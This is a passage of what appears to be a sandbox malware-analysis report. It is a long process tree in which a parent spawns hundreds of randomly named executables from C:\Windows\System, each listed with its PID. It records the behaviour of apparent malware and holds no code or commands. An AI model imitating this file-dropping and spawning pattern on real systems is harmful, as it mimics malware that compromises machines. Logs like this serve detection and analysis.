  2⤵
  PID:7480
- C:\Windows\System\nTvhOGl.exe
  C:\Windows\System\nTvhOGl.exe
  2⤵
  PID:7496
- C:\Windows\System\XLQCrCK.exe
  C:\Windows\System\XLQCrCK.exe
  2⤵
  PID:7536
- C:\Windows\System\tbuvOWb.exe
  C:\Windows\System\tbuvOWb.exe
  2⤵
  PID:7576
- C:\Windows\System\eqOXfVD.exe
  C:\Windows\System\eqOXfVD.exe
  2⤵
  PID:7604
- C:\Windows\System\rFJeKCs.exe
  C:\Windows\System\rFJeKCs.exe
  2⤵
  PID:7648
- C:\Windows\System\fmnGiux.exe
  C:\Windows\System\fmnGiux.exe
  2⤵
  PID:7672
- C:\Windows\System\phmVQhL.exe
  C:\Windows\System\phmVQhL.exe
  2⤵
  PID:7696
- C:\Windows\System\hRKOAyQ.exe
  C:\Windows\System\hRKOAyQ.exe
  2⤵
  PID:7720
- C:\Windows\System\IPqziFp.exe
  C:\Windows\System\IPqziFp.exe
  2⤵
  PID:7736
- C:\Windows\System\fbqwoEE.exe
  C:\Windows\System\fbqwoEE.exe
  2⤵
  PID:7760
- C:\Windows\System\bQihUDR.exe
  C:\Windows\System\bQihUDR.exe
  2⤵
  PID:7792
- C:\Windows\System\igHUVPx.exe
  C:\Windows\System\igHUVPx.exe
  2⤵
  PID:7828
- C:\Windows\System\mNAVYyo.exe
  C:\Windows\System\mNAVYyo.exe
  2⤵
  PID:7848
- C:\Windows\System\pTNKycD.exe
  C:\Windows\System\pTNKycD.exe
  2⤵
  PID:7880
- C:\Windows\System\VpmYLSk.exe
  C:\Windows\System\VpmYLSk.exe
  2⤵
  PID:7896
- C:\Windows\System\tVnYCwI.exe
  C:\Windows\System\tVnYCwI.exe
  2⤵
  PID:7912
- C:\Windows\System\WDdShKD.exe
  C:\Windows\System\WDdShKD.exe
  2⤵
  PID:7928
- C:\Windows\System\YyLjsPg.exe
  C:\Windows\System\YyLjsPg.exe
  2⤵
  PID:7956
- C:\Windows\System\NtoVvNM.exe
  C:\Windows\System\NtoVvNM.exe
  2⤵
  PID:8004
- C:\Windows\System\KulJNSz.exe
  C:\Windows\System\KulJNSz.exe
  2⤵
  PID:8028
- C:\Windows\System\LfYWliz.exe
  C:\Windows\System\LfYWliz.exe
  2⤵
  PID:8048
- C:\Windows\System\nUlBwsx.exe
  C:\Windows\System\nUlBwsx.exe
  2⤵
  PID:8072
- C:\Windows\System\sbfGyWm.exe
  C:\Windows\System\sbfGyWm.exe
  2⤵
  PID:8088
- C:\Windows\System\iBCvKDB.exe
  C:\Windows\System\iBCvKDB.exe
  2⤵
  PID:8116
- C:\Windows\System\EKiFUcM.exe
  C:\Windows\System\EKiFUcM.exe
  2⤵
  PID:8164
- C:\Windows\System\VdHBmyE.exe
  C:\Windows\System\VdHBmyE.exe
  2⤵
  PID:8180
- C:\Windows\System\wHCmvPU.exe
  C:\Windows\System\wHCmvPU.exe
  2⤵
  PID:6996
- C:\Windows\System\Ctyxioq.exe
  C:\Windows\System\Ctyxioq.exe
  2⤵
  PID:7200
- C:\Windows\System\XcNPqvC.exe
  C:\Windows\System\XcNPqvC.exe
  2⤵
  PID:7376
- C:\Windows\System\MFZmLBm.exe
  C:\Windows\System\MFZmLBm.exe
  2⤵
  PID:7488
- C:\Windows\System\WoyhUfV.exe
  C:\Windows\System\WoyhUfV.exe
  2⤵
  PID:7508
- C:\Windows\System\hQMnnwJ.exe
  C:\Windows\System\hQMnnwJ.exe
  2⤵
  PID:7560
- C:\Windows\System\OWNpvzr.exe
  C:\Windows\System\OWNpvzr.exe
  2⤵
  PID:7664
- C:\Windows\System\GoKIljQ.exe
  C:\Windows\System\GoKIljQ.exe
  2⤵
  PID:7756
- C:\Windows\System\XRozQtp.exe
  C:\Windows\System\XRozQtp.exe
  2⤵
  PID:7784
- C:\Windows\System\iVfdfej.exe
  C:\Windows\System\iVfdfej.exe
  2⤵
  PID:7856
- C:\Windows\System\sVFYzes.exe
  C:\Windows\System\sVFYzes.exe
  2⤵
  PID:7972
- C:\Windows\System\qUGPZCJ.exe
  C:\Windows\System\qUGPZCJ.exe
  2⤵
  PID:8000
- C:\Windows\System\TkbhwFj.exe
  C:\Windows\System\TkbhwFj.exe
  2⤵
  PID:8060
- C:\Windows\System\jKfAniR.exe
  C:\Windows\System\jKfAniR.exe
  2⤵
  PID:8124
- C:\Windows\System\TzoPyMq.exe
  C:\Windows\System\TzoPyMq.exe
  2⤵
  PID:7172
- C:\Windows\System\WyHdLRz.exe
  C:\Windows\System\WyHdLRz.exe
  2⤵
  PID:7264
- C:\Windows\System\jyoDdjT.exe
  C:\Windows\System\jyoDdjT.exe
  2⤵
  PID:7428
- C:\Windows\System\Uufyxrc.exe
  C:\Windows\System\Uufyxrc.exe
  2⤵
  PID:7516
- C:\Windows\System\kqJHfJO.exe
  C:\Windows\System\kqJHfJO.exe
  2⤵
  PID:7688
- C:\Windows\System\zJVZXOc.exe
  C:\Windows\System\zJVZXOc.exe
  2⤵
  PID:4916
- C:\Windows\System\ogOGldF.exe
  C:\Windows\System\ogOGldF.exe
  2⤵
  PID:7888
- C:\Windows\System\RekczaK.exe
  C:\Windows\System\RekczaK.exe
  2⤵
  PID:628
- C:\Windows\System\plfocdI.exe
  C:\Windows\System\plfocdI.exe
  2⤵
  PID:8104
- C:\Windows\System\YegxFXW.exe
  C:\Windows\System\YegxFXW.exe
  2⤵
  PID:7404
- C:\Windows\System\GJVbtYx.exe
  C:\Windows\System\GJVbtYx.exe
  2⤵
  PID:7744
- C:\Windows\System\NLyttCG.exe
  C:\Windows\System\NLyttCG.exe
  2⤵
  PID:8208
- C:\Windows\System\qGgcpFi.exe
  C:\Windows\System\qGgcpFi.exe
  2⤵
  PID:8232
- C:\Windows\System\mkVYRiR.exe
  C:\Windows\System\mkVYRiR.exe
  2⤵
  PID:8248
- C:\Windows\System\FnqkrEr.exe
  C:\Windows\System\FnqkrEr.exe
  2⤵
  PID:8272
- C:\Windows\System\fPxYWiO.exe
  C:\Windows\System\fPxYWiO.exe
  2⤵
  PID:8320
- C:\Windows\System\fPgByPU.exe
  C:\Windows\System\fPgByPU.exe
  2⤵
  PID:8360
- C:\Windows\System\wGGXHih.exe
  C:\Windows\System\wGGXHih.exe
  2⤵
  PID:8400
- C:\Windows\System\FbFXfnX.exe
  C:\Windows\System\FbFXfnX.exe
  2⤵
  PID:8424
- C:\Windows\System\ouzMbKl.exe
  C:\Windows\System\ouzMbKl.exe
  2⤵
  PID:8452
- C:\Windows\System\RjnZRMF.exe
  C:\Windows\System\RjnZRMF.exe
  2⤵
  PID:8536
- C:\Windows\System\zxmNevX.exe
  C:\Windows\System\zxmNevX.exe
  2⤵
  PID:8552
- C:\Windows\System\qWgXECT.exe
  C:\Windows\System\qWgXECT.exe
  2⤵
  PID:8568
- C:\Windows\System\HBCIlKf.exe
  C:\Windows\System\HBCIlKf.exe
  2⤵
  PID:8584
- C:\Windows\System\QiblKYr.exe
  C:\Windows\System\QiblKYr.exe
  2⤵
  PID:8600
- C:\Windows\System\BDNXZmu.exe
  C:\Windows\System\BDNXZmu.exe
  2⤵
  PID:8616
- C:\Windows\System\tpkMjRp.exe
  C:\Windows\System\tpkMjRp.exe
  2⤵
  PID:8632
- C:\Windows\System\rZlvCAc.exe
  C:\Windows\System\rZlvCAc.exe
  2⤵
  PID:8648
- C:\Windows\System\suElNDh.exe
  C:\Windows\System\suElNDh.exe
  2⤵
  PID:8664
- C:\Windows\System\yLMRNdq.exe
  C:\Windows\System\yLMRNdq.exe
  2⤵
  PID:8680
- C:\Windows\System\xxorvpG.exe
  C:\Windows\System\xxorvpG.exe
  2⤵
  PID:8696
- C:\Windows\System\TpOkvPW.exe
  C:\Windows\System\TpOkvPW.exe
  2⤵
  PID:8712
- C:\Windows\System\ZXQaYRs.exe
  C:\Windows\System\ZXQaYRs.exe
  2⤵
  PID:8728
- C:\Windows\System\rIttOpC.exe
  C:\Windows\System\rIttOpC.exe
  2⤵
  PID:8744
- C:\Windows\System\rfiUijc.exe
  C:\Windows\System\rfiUijc.exe
  2⤵
  PID:8760
- C:\Windows\System\pNbezPu.exe
  C:\Windows\System\pNbezPu.exe
  2⤵
  PID:8784
- C:\Windows\System\crUoFkR.exe
  C:\Windows\System\crUoFkR.exe
  2⤵
  PID:8816
- C:\Windows\System\wnZquGG.exe
  C:\Windows\System\wnZquGG.exe
  2⤵
  PID:8876
- C:\Windows\System\JKUinhN.exe
  C:\Windows\System\JKUinhN.exe
  2⤵
  PID:8948
- C:\Windows\System\NhNNscs.exe
  C:\Windows\System\NhNNscs.exe
  2⤵
  PID:9080
- C:\Windows\System\iMYIbXe.exe
  C:\Windows\System\iMYIbXe.exe
  2⤵
  PID:9100
- C:\Windows\System\wWBnmvB.exe
  C:\Windows\System\wWBnmvB.exe
  2⤵
  PID:9120
- C:\Windows\System\IbOlCBe.exe
  C:\Windows\System\IbOlCBe.exe
  2⤵
  PID:9140
- C:\Windows\System\PQBrahz.exe
  C:\Windows\System\PQBrahz.exe
  2⤵
  PID:9168
- C:\Windows\System\NfcUMGB.exe
  C:\Windows\System\NfcUMGB.exe
  2⤵
  PID:9188
- C:\Windows\System\tkJecho.exe
  C:\Windows\System\tkJecho.exe
  2⤵
  PID:9212
- C:\Windows\System\yjMGFeR.exe
  C:\Windows\System\yjMGFeR.exe
  2⤵
  PID:8228
- C:\Windows\System\EbvKMPa.exe
  C:\Windows\System\EbvKMPa.exe
  2⤵
  PID:8264
- C:\Windows\System\vYbtbbE.exe
  C:\Windows\System\vYbtbbE.exe
  2⤵
  PID:224
- C:\Windows\System\wNRqtsn.exe
  C:\Windows\System\wNRqtsn.exe
  2⤵
  PID:8376
- C:\Windows\System\ouWVoxX.exe
  C:\Windows\System\ouWVoxX.exe
  2⤵
  PID:8520
- C:\Windows\System\sgNJtTB.exe
  C:\Windows\System\sgNJtTB.exe
  2⤵
  PID:8768
- C:\Windows\System\lIRUqsL.exe
  C:\Windows\System\lIRUqsL.exe
  2⤵
  PID:8472
- C:\Windows\System\fJpNNvb.exe
  C:\Windows\System\fJpNNvb.exe
  2⤵
  PID:8496
- C:\Windows\System\tqXvZGH.exe
  C:\Windows\System\tqXvZGH.exe
  2⤵
  PID:8592
- C:\Windows\System\MtOobme.exe
  C:\Windows\System\MtOobme.exe
  2⤵
  PID:8872
- C:\Windows\System\bdBIwKy.exe
  C:\Windows\System\bdBIwKy.exe
  2⤵
  PID:8688
- C:\Windows\System\VdowNVP.exe
  C:\Windows\System\VdowNVP.exe
  2⤵
  PID:8724
- C:\Windows\System\BNsIIvv.exe
  C:\Windows\System\BNsIIvv.exe
  2⤵
  PID:8808
- C:\Windows\System\hOhFtzU.exe
  C:\Windows\System\hOhFtzU.exe
  2⤵
  PID:8840
- C:\Windows\System\OvhCYlQ.exe
  C:\Windows\System\OvhCYlQ.exe
  2⤵
  PID:8972
- C:\Windows\System\xNkpNtg.exe
  C:\Windows\System\xNkpNtg.exe
  2⤵
  PID:9020
- C:\Windows\System\kFXOtow.exe
  C:\Windows\System\kFXOtow.exe
  2⤵
  PID:9096
- C:\Windows\System\ttfvTDs.exe
  C:\Windows\System\ttfvTDs.exe
  2⤵
  PID:9148
- C:\Windows\System\PuMjDut.exe
  C:\Windows\System\PuMjDut.exe
  2⤵
  PID:7668
- C:\Windows\System\yppPlNx.exe
  C:\Windows\System\yppPlNx.exe
  2⤵
  PID:3764
- C:\Windows\System\LwsgcLA.exe
  C:\Windows\System\LwsgcLA.exe
  2⤵
  PID:8412
- C:\Windows\System\bWYeIgu.exe
  C:\Windows\System\bWYeIgu.exe
  2⤵
  PID:8476
- C:\Windows\System\RXMscqk.exe
  C:\Windows\System\RXMscqk.exe
  2⤵
  PID:8640
- C:\Windows\System\YEMJvKC.exe
  C:\Windows\System\YEMJvKC.exe
  2⤵
  PID:8612
- C:\Windows\System\jEMuhPq.exe
  C:\Windows\System\jEMuhPq.exe
  2⤵
  PID:8904
- C:\Windows\System\xizAkwQ.exe
  C:\Windows\System\xizAkwQ.exe
  2⤵
  PID:8804
- C:\Windows\System\RuPAuXN.exe
  C:\Windows\System\RuPAuXN.exe
  2⤵
  PID:8928
- C:\Windows\System\hKcwFdV.exe
  C:\Windows\System\hKcwFdV.exe
  2⤵
  PID:7988
- C:\Windows\System\cxZzzri.exe
  C:\Windows\System\cxZzzri.exe
  2⤵
  PID:8460
- C:\Windows\System\IcwgdXm.exe
  C:\Windows\System\IcwgdXm.exe
  2⤵
  PID:9152
- C:\Windows\System\xeNdaPS.exe
  C:\Windows\System\xeNdaPS.exe
  2⤵
  PID:8964
- C:\Windows\System\onuwWFx.exe
  C:\Windows\System\onuwWFx.exe
  2⤵
  PID:8580
- C:\Windows\System\MXsztGE.exe
  C:\Windows\System\MXsztGE.exe
  2⤵
  PID:9236
- C:\Windows\System\Btltkah.exe
  C:\Windows\System\Btltkah.exe
  2⤵
  PID:9276
- C:\Windows\System\VPrqrQI.exe
  C:\Windows\System\VPrqrQI.exe
  2⤵
  PID:9300
- C:\Windows\System\TqYZusg.exe
  C:\Windows\System\TqYZusg.exe
  2⤵
  PID:9332
- C:\Windows\System\ObawClw.exe
  C:\Windows\System\ObawClw.exe
  2⤵
  PID:9352
- C:\Windows\System\GNjTIqG.exe
  C:\Windows\System\GNjTIqG.exe
  2⤵
  PID:9376
- C:\Windows\System\qmrrSJC.exe
  C:\Windows\System\qmrrSJC.exe
  2⤵
  PID:9392
- C:\Windows\System\JjglEUo.exe
  C:\Windows\System\JjglEUo.exe
  2⤵
  PID:9408
- C:\Windows\System\DPlXVZi.exe
  C:\Windows\System\DPlXVZi.exe
  2⤵
  PID:9452
- C:\Windows\System\DuBUPjf.exe
  C:\Windows\System\DuBUPjf.exe
  2⤵
  PID:9472
- C:\Windows\System\BAPhIwQ.exe
  C:\Windows\System\BAPhIwQ.exe
  2⤵
  PID:9508
- C:\Windows\System\hZNSoSP.exe
  C:\Windows\System\hZNSoSP.exe
  2⤵
  PID:9532
- C:\Windows\System\dPjOqFP.exe
  C:\Windows\System\dPjOqFP.exe
  2⤵
  PID:9588
- C:\Windows\System\sMefrUw.exe
  C:\Windows\System\sMefrUw.exe
  2⤵
  PID:9612
- C:\Windows\System\mIVCALo.exe
  C:\Windows\System\mIVCALo.exe
  2⤵
  PID:9644
- C:\Windows\System\pkSxNtG.exe
  C:\Windows\System\pkSxNtG.exe
  2⤵
  PID:9668
- C:\Windows\System\sXmvCZJ.exe
  C:\Windows\System\sXmvCZJ.exe
  2⤵
  PID:9688
- C:\Windows\System\kvhYSPC.exe
  C:\Windows\System\kvhYSPC.exe
  2⤵
  PID:9716
- C:\Windows\System\jPsyYDT.exe
  C:\Windows\System\jPsyYDT.exe
  2⤵
  PID:9748
- C:\Windows\System\auYRkth.exe
  C:\Windows\System\auYRkth.exe
  2⤵
  PID:9772
- C:\Windows\System\exqUecf.exe
  C:\Windows\System\exqUecf.exe
  2⤵
  PID:9808
- C:\Windows\System\ZoZdMBS.exe
  C:\Windows\System\ZoZdMBS.exe
  2⤵
  PID:9828
- C:\Windows\System\DSaWrxA.exe
  C:\Windows\System\DSaWrxA.exe
  2⤵
  PID:9856
- C:\Windows\System\nLhPVCA.exe
  C:\Windows\System\nLhPVCA.exe
  2⤵
  PID:9880
- C:\Windows\System\DutkjqM.exe
  C:\Windows\System\DutkjqM.exe
  2⤵
  PID:9908
- C:\Windows\System\XaChSQI.exe
  C:\Windows\System\XaChSQI.exe
  2⤵
  PID:9932
- C:\Windows\System\eGjaGiI.exe
  C:\Windows\System\eGjaGiI.exe
  2⤵
  PID:9976
- C:\Windows\System\ZLWNdfe.exe
  C:\Windows\System\ZLWNdfe.exe
  2⤵
  PID:10004
- C:\Windows\System\IkRmMWu.exe
  C:\Windows\System\IkRmMWu.exe
  2⤵
  PID:10020
- C:\Windows\System\QvHeBBr.exe
  C:\Windows\System\QvHeBBr.exe
  2⤵
  PID:10044
- C:\Windows\System\JIDQDDn.exe
  C:\Windows\System\JIDQDDn.exe
  2⤵
  PID:10064
- C:\Windows\System\LTbNuxK.exe
  C:\Windows\System\LTbNuxK.exe
  2⤵
  PID:10088
- C:\Windows\System\OAfFdiJ.exe
  C:\Windows\System\OAfFdiJ.exe
  2⤵
  PID:10108
- C:\Windows\System\BzbcqGt.exe
  C:\Windows\System\BzbcqGt.exe
  2⤵
  PID:10164
- C:\Windows\System\zuYifjQ.exe
  C:\Windows\System\zuYifjQ.exe
  2⤵
  PID:10200
- C:\Windows\System\lwuFwZA.exe
  C:\Windows\System\lwuFwZA.exe
  2⤵
  PID:10232
- C:\Windows\System\ZFUtEgy.exe
  C:\Windows\System\ZFUtEgy.exe
  2⤵
  PID:8492
- C:\Windows\System\LPmyfoz.exe
  C:\Windows\System\LPmyfoz.exe
  2⤵
  PID:9260
- C:\Windows\System\lZQbjcF.exe
  C:\Windows\System\lZQbjcF.exe
  2⤵
  PID:9292
- C:\Windows\System\XlVdqLg.exe
  C:\Windows\System\XlVdqLg.exe
  2⤵
  PID:9344
- C:\Windows\System\VyvgCJH.exe
  C:\Windows\System\VyvgCJH.exe
  2⤵
  PID:9400
- C:\Windows\System\NUvonsp.exe
  C:\Windows\System\NUvonsp.exe
  2⤵
  PID:9468
- C:\Windows\System\AfmaLKg.exe
  C:\Windows\System\AfmaLKg.exe
  2⤵
  PID:9492
- C:\Windows\System\KnOOxCD.exe
  C:\Windows\System\KnOOxCD.exe
  2⤵
  PID:2016
- C:\Windows\System\zsFOWPE.exe
  C:\Windows\System\zsFOWPE.exe
  2⤵
  PID:9680
- C:\Windows\System\oihdZuA.exe
  C:\Windows\System\oihdZuA.exe
  2⤵
  PID:9708
- C:\Windows\System\hCYrljx.exe
  C:\Windows\System\hCYrljx.exe
  2⤵
  PID:9756
- C:\Windows\System\wpLjfiG.exe
  C:\Windows\System\wpLjfiG.exe
  2⤵
  PID:9896
- C:\Windows\System\gACRONm.exe
  C:\Windows\System\gACRONm.exe
  2⤵
  PID:9924
- C:\Windows\System\YlaUOno.exe
  C:\Windows\System\YlaUOno.exe
  2⤵
  PID:9968
- C:\Windows\System\vAKzSLT.exe
  C:\Windows\System\vAKzSLT.exe
  2⤵
  PID:10012
- C:\Windows\System\oeTMfuB.exe
  C:\Windows\System\oeTMfuB.exe
  2⤵
  PID:10040
- C:\Windows\System\CqtCZep.exe
  C:\Windows\System\CqtCZep.exe
  2⤵
  PID:10076
- C:\Windows\System\PyGTaqI.exe
  C:\Windows\System\PyGTaqI.exe
  2⤵
  PID:10224
- C:\Windows\System\bsWLxkM.exe
  C:\Windows\System\bsWLxkM.exe
  2⤵
  PID:9348
- C:\Windows\System\OVLHMxY.exe
  C:\Windows\System\OVLHMxY.exe
  2⤵
  PID:9888
- C:\Windows\System\kvRQRZh.exe
  C:\Windows\System\kvRQRZh.exe
  2⤵
  PID:9656
- C:\Windows\System\MAerIan.exe
  C:\Windows\System\MAerIan.exe
  2⤵
  PID:9712
- C:\Windows\System\xzTRrDl.exe
  C:\Windows\System\xzTRrDl.exe
  2⤵
  PID:9988
- C:\Windows\System\wQbFZCt.exe
  C:\Windows\System\wQbFZCt.exe
  2⤵
  PID:9876
- C:\Windows\System\GQGgMqC.exe
  C:\Windows\System\GQGgMqC.exe
  2⤵
  PID:1432
- C:\Windows\System\UMcbfvZ.exe
  C:\Windows\System\UMcbfvZ.exe
  2⤵
  PID:10148
- C:\Windows\System\mhyMTFA.exe
  C:\Windows\System\mhyMTFA.exe
  2⤵
  PID:9432
- C:\Windows\System\ezkYhNB.exe
  C:\Windows\System\ezkYhNB.exe
  2⤵
  PID:9640
- C:\Windows\System\lNNhGDa.exe
  C:\Windows\System\lNNhGDa.exe
  2⤵
  PID:9916
- C:\Windows\System\lUJALhU.exe
  C:\Windows\System\lUJALhU.exe
  2⤵
  PID:2608
- C:\Windows\System\rjznHLf.exe
  C:\Windows\System\rjznHLf.exe
  2⤵
  PID:9724
- C:\Windows\System\bfoxNFx.exe
  C:\Windows\System\bfoxNFx.exe
  2⤵
  PID:32
- C:\Windows\System\vuhjGpk.exe
  C:\Windows\System\vuhjGpk.exe
  2⤵
  PID:10056
- C:\Windows\System\BDkqvAV.exe
  C:\Windows\System\BDkqvAV.exe
  2⤵
  PID:10268
- C:\Windows\System\xGuoqRJ.exe
  C:\Windows\System\xGuoqRJ.exe
  2⤵
  PID:10288
- C:\Windows\System\aYstwbA.exe
  C:\Windows\System\aYstwbA.exe
  2⤵
  PID:10312
- C:\Windows\System\zORpqjq.exe
  C:\Windows\System\zORpqjq.exe
  2⤵
  PID:10336
- C:\Windows\System\mSzcxKQ.exe
  C:\Windows\System\mSzcxKQ.exe
  2⤵
  PID:10372
- C:\Windows\System\XSkfopI.exe
  C:\Windows\System\XSkfopI.exe
  2⤵
  PID:10396
- C:\Windows\System\YIMsieJ.exe
  C:\Windows\System\YIMsieJ.exe
  2⤵
  PID:10436
- C:\Windows\System\RgeAXoA.exe
  C:\Windows\System\RgeAXoA.exe
  2⤵
  PID:10460
- C:\Windows\System\iewTGxY.exe
  C:\Windows\System\iewTGxY.exe
  2⤵
  PID:10476
- C:\Windows\System\zAlfIrH.exe
  C:\Windows\System\zAlfIrH.exe
  2⤵
  PID:10520
- C:\Windows\System\dNNScya.exe
  C:\Windows\System\dNNScya.exe
  2⤵
  PID:10540
- C:\Windows\System\NXHmiBl.exe
  C:\Windows\System\NXHmiBl.exe
  2⤵
  PID:10580
- C:\Windows\System\GSAbWDO.exe
  C:\Windows\System\GSAbWDO.exe
  2⤵
  PID:10624
- C:\Windows\System\xXUqmid.exe
  C:\Windows\System\xXUqmid.exe
  2⤵
  PID:10644
- C:\Windows\System\vOZHyKp.exe
  C:\Windows\System\vOZHyKp.exe
  2⤵
  PID:10664
- C:\Windows\System\qbMAUQJ.exe
  C:\Windows\System\qbMAUQJ.exe
  2⤵
  PID:10692
- C:\Windows\System\hATESkB.exe
  C:\Windows\System\hATESkB.exe
  2⤵
  PID:10708
- C:\Windows\System\ZTYvMiQ.exe
  C:\Windows\System\ZTYvMiQ.exe
  2⤵
  PID:10748
- C:\Windows\System\LDzQtXp.exe
  C:\Windows\System\LDzQtXp.exe
  2⤵
  PID:10776
- C:\Windows\System\nHWTjQH.exe
  C:\Windows\System\nHWTjQH.exe
  2⤵
  PID:10808
- C:\Windows\System\qwOjgYC.exe
  C:\Windows\System\qwOjgYC.exe
  2⤵
  PID:10832
- C:\Windows\System\iXMmsvG.exe
  C:\Windows\System\iXMmsvG.exe
  2⤵
  PID:10848
- C:\Windows\System\pljCfuh.exe
  C:\Windows\System\pljCfuh.exe
  2⤵
  PID:10876
- C:\Windows\System\pthzLIG.exe
  C:\Windows\System\pthzLIG.exe
  2⤵
  PID:10904
- C:\Windows\System\SZhOrnN.exe
  C:\Windows\System\SZhOrnN.exe
  2⤵
  PID:10932
- C:\Windows\System\DoujaHH.exe
  C:\Windows\System\DoujaHH.exe
  2⤵
  PID:10956
- C:\Windows\System\iLNbTiv.exe
  C:\Windows\System\iLNbTiv.exe
  2⤵
  PID:10992
- C:\Windows\System\cHmOYyl.exe
  C:\Windows\System\cHmOYyl.exe
  2⤵
  PID:11016
- C:\Windows\System\EhXVZJN.exe
  C:\Windows\System\EhXVZJN.exe
  2⤵
  PID:11036
- C:\Windows\System\TUTAWML.exe
  C:\Windows\System\TUTAWML.exe
  2⤵
  PID:11088
- C:\Windows\System\NgmXcqN.exe
  C:\Windows\System\NgmXcqN.exe
  2⤵
  PID:11112
- C:\Windows\System\ykjGqUH.exe
  C:\Windows\System\ykjGqUH.exe
  2⤵
  PID:11140
- C:\Windows\System\ZJkvXek.exe
  C:\Windows\System\ZJkvXek.exe
  2⤵
  PID:11168
- C:\Windows\System\skvKzEk.exe
  C:\Windows\System\skvKzEk.exe
  2⤵
  PID:11212
- C:\Windows\System\XxjBltw.exe
  C:\Windows\System\XxjBltw.exe
  2⤵
  PID:11240
- C:\Windows\System\EPqjXXj.exe
  C:\Windows\System\EPqjXXj.exe
  2⤵
  PID:1288
- C:\Windows\System\ZsHDAWp.exe
  C:\Windows\System\ZsHDAWp.exe
  2⤵
  PID:10320
- C:\Windows\System\xxcWska.exe
  C:\Windows\System\xxcWska.exe
  2⤵
  PID:10368
- C:\Windows\System\ybWgSsH.exe
  C:\Windows\System\ybWgSsH.exe
  2⤵
  PID:4240
- C:\Windows\System\dzrEGIx.exe
  C:\Windows\System\dzrEGIx.exe
  2⤵
  PID:10392
- C:\Windows\System\capmbGj.exe
  C:\Windows\System\capmbGj.exe
  2⤵
  PID:3704
- C:\Windows\System\fuqyzhn.exe
  C:\Windows\System\fuqyzhn.exe
  2⤵
  PID:10516
- C:\Windows\System\nGLKfJD.exe
  C:\Windows\System\nGLKfJD.exe
  2⤵
  PID:10576
- C:\Windows\System\KUBXYPZ.exe
  C:\Windows\System\KUBXYPZ.exe
  2⤵
  PID:10636
- C:\Windows\System\lLEJKjl.exe
  C:\Windows\System\lLEJKjl.exe
  2⤵
  PID:10700
- C:\Windows\System\LZhoTtV.exe
  C:\Windows\System\LZhoTtV.exe
  2⤵
  PID:10688
- C:\Windows\System\ElEApRO.exe
  C:\Windows\System\ElEApRO.exe
  2⤵
  PID:10220
- C:\Windows\System\qcTBFuM.exe
  C:\Windows\System\qcTBFuM.exe
  2⤵
  PID:10840
- C:\Windows\System\ztdVRal.exe
  C:\Windows\System\ztdVRal.exe
  2⤵
  PID:10928
- C:\Windows\System\sYnlXZE.exe
  C:\Windows\System\sYnlXZE.exe
  2⤵
  PID:11012
- C:\Windows\System\DfvwcFM.exe
  C:\Windows\System\DfvwcFM.exe
  2⤵
  PID:11056
- C:\Windows\System\cyBBhqV.exe
  C:\Windows\System\cyBBhqV.exe
  2⤵
  PID:11124
- C:\Windows\System\xvvQIEb.exe
  C:\Windows\System\xvvQIEb.exe
  2⤵
  PID:11208
- C:\Windows\System\xEMvxlo.exe
  C:\Windows\System\xEMvxlo.exe
  2⤵
  PID:11256
- C:\Windows\System\tvxxqrS.exe
  C:\Windows\System\tvxxqrS.exe
  2⤵
  PID:3724
- C:\Windows\System\AHBCfYh.exe
  C:\Windows\System\AHBCfYh.exe
  2⤵
  PID:10408
- C:\Windows\System\HMNjcLP.exe
  C:\Windows\System\HMNjcLP.exe
  2⤵
  PID:10556
- C:\Windows\System\lhOKofm.exe
  C:\Windows\System\lhOKofm.exe
  2⤵
  PID:1316
- C:\Windows\System\levBHzM.exe
  C:\Windows\System\levBHzM.exe
  2⤵
  PID:10892
- C:\Windows\System\phCWXRa.exe
  C:\Windows\System\phCWXRa.exe
  2⤵
  PID:10924
- C:\Windows\System\XsMqNrc.exe
  C:\Windows\System\XsMqNrc.exe
  2⤵
  PID:10988
- C:\Windows\System\lOoBgLm.exe
  C:\Windows\System\lOoBgLm.exe
  2⤵
  PID:11080
- C:\Windows\System\yGwEIaL.exe
  C:\Windows\System\yGwEIaL.exe
  2⤵
  PID:11232
- C:\Windows\System\QBsiBWL.exe
  C:\Windows\System\QBsiBWL.exe
  2⤵
  PID:10616
- C:\Windows\System\oNqCsvI.exe
  C:\Windows\System\oNqCsvI.exe
  2⤵
  PID:3220
- C:\Windows\System\KkscWxR.exe
  C:\Windows\System\KkscWxR.exe
  2⤵
  PID:11268
- C:\Windows\System\QSICybg.exe
  C:\Windows\System\QSICybg.exe
  2⤵
  PID:11288
- C:\Windows\System\lCAuHhP.exe
  C:\Windows\System\lCAuHhP.exe
  2⤵
  PID:11304
- C:\Windows\System\KDNqDuT.exe
  C:\Windows\System\KDNqDuT.exe
  2⤵
  PID:11324
- C:\Windows\System\sUfQScj.exe
  C:\Windows\System\sUfQScj.exe
  2⤵
  PID:11340
- C:\Windows\System\URhpEhl.exe
  C:\Windows\System\URhpEhl.exe
  2⤵
  PID:11356
- C:\Windows\System\dBXjiDP.exe
  C:\Windows\System\dBXjiDP.exe
  2⤵
  PID:11372
- C:\Windows\System\jQjojJb.exe
  C:\Windows\System\jQjojJb.exe
  2⤵
  PID:11388
- C:\Windows\System\hdFpnfA.exe
  C:\Windows\System\hdFpnfA.exe
  2⤵
  PID:11404
- C:\Windows\System\UdSzNep.exe
  C:\Windows\System\UdSzNep.exe
  2⤵
  PID:11420
- C:\Windows\System\zwzfFAT.exe
  C:\Windows\System\zwzfFAT.exe
  2⤵
  PID:11436
- C:\Windows\System\WLJtNqg.exe
  C:\Windows\System\WLJtNqg.exe
  2⤵
  PID:11452
- C:\Windows\System\LOVbGPe.exe
  C:\Windows\System\LOVbGPe.exe
  2⤵
  PID:11468
- C:\Windows\System\ijOHhZn.exe
  C:\Windows\System\ijOHhZn.exe
  2⤵
  PID:11528
- C:\Windows\System\advxQYa.exe
  C:\Windows\System\advxQYa.exe
  2⤵
  PID:11564
- C:\Windows\System\xXXUPwr.exe
  C:\Windows\System\xXXUPwr.exe
  2⤵
  PID:11724
- C:\Windows\System\BxIeezh.exe
  C:\Windows\System\BxIeezh.exe
  2⤵
  PID:11744
- C:\Windows\System\XmyaUWB.exe
  C:\Windows\System\XmyaUWB.exe
  2⤵
  PID:11768
- C:\Windows\System\xFlGjZI.exe
  C:\Windows\System\xFlGjZI.exe
  2⤵
  PID:11796
- C:\Windows\System\FNtLHnU.exe
  C:\Windows\System\FNtLHnU.exe
  2⤵
  PID:11824
- C:\Windows\System\KHuKLBr.exe
  C:\Windows\System\KHuKLBr.exe
  2⤵
  PID:11844
- C:\Windows\System\bKzdGxo.exe
  C:\Windows\System\bKzdGxo.exe
  2⤵
  PID:11864
- C:\Windows\System\JmCBNBM.exe
  C:\Windows\System\JmCBNBM.exe
  2⤵
  PID:11892
- C:\Windows\System\QjkmjzG.exe
  C:\Windows\System\QjkmjzG.exe
